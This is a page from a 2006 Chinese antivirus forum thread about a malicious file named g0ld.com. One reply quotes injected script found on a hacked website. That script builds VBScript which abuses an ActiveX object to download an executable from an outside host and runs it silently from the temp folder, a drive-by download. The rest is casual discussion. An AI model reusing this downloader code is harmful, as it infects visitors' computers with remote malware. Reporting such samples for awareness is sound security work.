关于g0ld.com

瑞星卡卡安全论坛技术交流区 反病毒/反流氓软件论坛关于g0ld.com

	瑞星“1+2”全新解决方案巡展在广州画上圆满句号		叶院长揭秘：瑞星如何运用AI技术革新网络安全		俄乌冲突加剧网络攻击风险白俄罗斯政府遭APT攻击		瑞星ESM防病毒系统助力矿业大学筑牢网络安全防线
	实力拉满瑞星第五十次通过VB100测评		携手老友，拥抱新精彩 —— 新论坛新活动，感谢你的陪伴		护航司法，瑞星助力山西省高院构建安全防线		人工智能在网络安全领域的风险和机遇

1 2 3 45

5 / 5 页

跳转页

健康舞勺狮

帖子:200
注册: 2005-04-23
来自:

发表于： 2006-08-25 14:54 | 短消息资料

字号：小中大 41楼

引用:

【baohe的贴子】【回复“【火影】我爱罗”的帖子】
我手头那点儿东西，常在社区混的都知道：SSM、TINY、瑞星或卡巴斯基。其它的小零碎还有：IceSword、autoruns、SREng、HijackThis。这些，不是同时都用哦！根据具体问题选择。
………………

像我这样的
就算知道了也不会用

炫Oo逍遥oO 锋芒艾服狮帖子:1306 注册: 2006-06-30 来自:	发表于： 2006-08-25 16:35 \| 短消息资料字号：小中大 42楼大家看个事这个帖25楼的用户他发的帖子数和他的等级貌似有点````
炫Oo逍遥oO 锋芒艾服狮帖子:1306 注册: 2006-06-30 来自:

初生襁褓狮

帖子:289
注册: 2006-06-16
来自:

发表于： 2006-08-25 16:35 | 短消息资料

字号：小中大 43楼

引用:

【艾玛的贴子】

引用:

【刀刀笨贼的贴子】我在h**p://www.z213.com/z213/就发现了这个,不过这网站几天前被黑过,管理员将被改动的公告区修复了,但是我22号晚上看时,网页尾部还是有:h**p://www.23597.com/pc/css.js
内容是:
document.writeln("<script language=\"VBScript\">");
document.writeln(" on error resume next");
document.writeln("dl = \"http:\/\/www.23597.com\/pc\/ms.exe\"");
document.writeln(" Set df = document.createElement(\"\")");
document.writeln(" df.setAttribute \"classid\", \"clsid:BD96C556-65A3-11D0-983A-00C04FC29E36\"");
document.writeln(" str=\"Microsoft.XMLHTTP\"");
document.writeln(" Set x = df.Create(str,\"\")");
document.writeln(" a1=\"Ado\"");
document.writeln(" a2=\"db.\"");
document.writeln(" a3=\"Str\"");
document.writeln(" a4=\"eam\"");
document.writeln(" str1=a1&a2&a3&a4");
document.writeln(" str5=str1");
document.writeln(" set S = df.create(str5,\"\")");
document.writeln(" S.type = 1");
document.writeln(" str6=\"GET\"");
document.writeln(" x.Open str6, dl, False");
document.writeln(" x.Send");
document.writeln(" fname1=\"g0ld.com\"");
document.writeln(" set F = df.create(\"Scripting.FileSystem\",\"\")");
document.writeln(" set tmp = F.GetSpecialFolder(2) ");
document.writeln(" fname1= F.BuildPath(tmp,fname1)");
document.writeln(" S.open");
document.writeln(" S.write x.responseBody");
document.writeln(" S.savetofile fname1,2");
document.writeln(" S.close");
document.writeln(" set Q = df.create(\"Shell.Application\",\"\")");
document.writeln(" Q.ShellExecute fname1,\"\",\"\",\"open\",0");
document.writeln(" <\/script>")
不知道是管理员疏忽和还是这个网站本来就是挂着的.....
………………

刀刀最近常来哇

我的
………………

我到处游滴....

CL专用初生襁褓狮帖子:8 注册: 2006-09-15 来自:	发表于： 2006-09-15 21:22 \| 短消息资料字号：小中大 44楼 PF..不过..按这个方法..我找不到那个程序啊..天..我的电脑跟别人不同么??泪而且今天升级到18.44.42..还是没报这病毒啊..
CL专用初生襁褓狮帖子:8 注册: 2006-09-15 来自:

流氓の兔子初生襁褓狮帖子:318 注册: 2006-09-02 来自:	发表于： 2006-09-15 21:29 \| 短消息资料字号：小中大 45楼学习
流氓の兔子初生襁褓狮帖子:318 注册: 2006-09-02 来自:

<<上一主题|下一主题>>

1 2 3 45

5 / 5 页

跳转页

瑞星卡卡安全论坛技术交流区反病毒/反流氓软件论坛 关于g0ld.com

关于g0ld.com

瑞星卡卡安全论坛技术交流区反病毒/反流氓软件论坛关于g0ld.com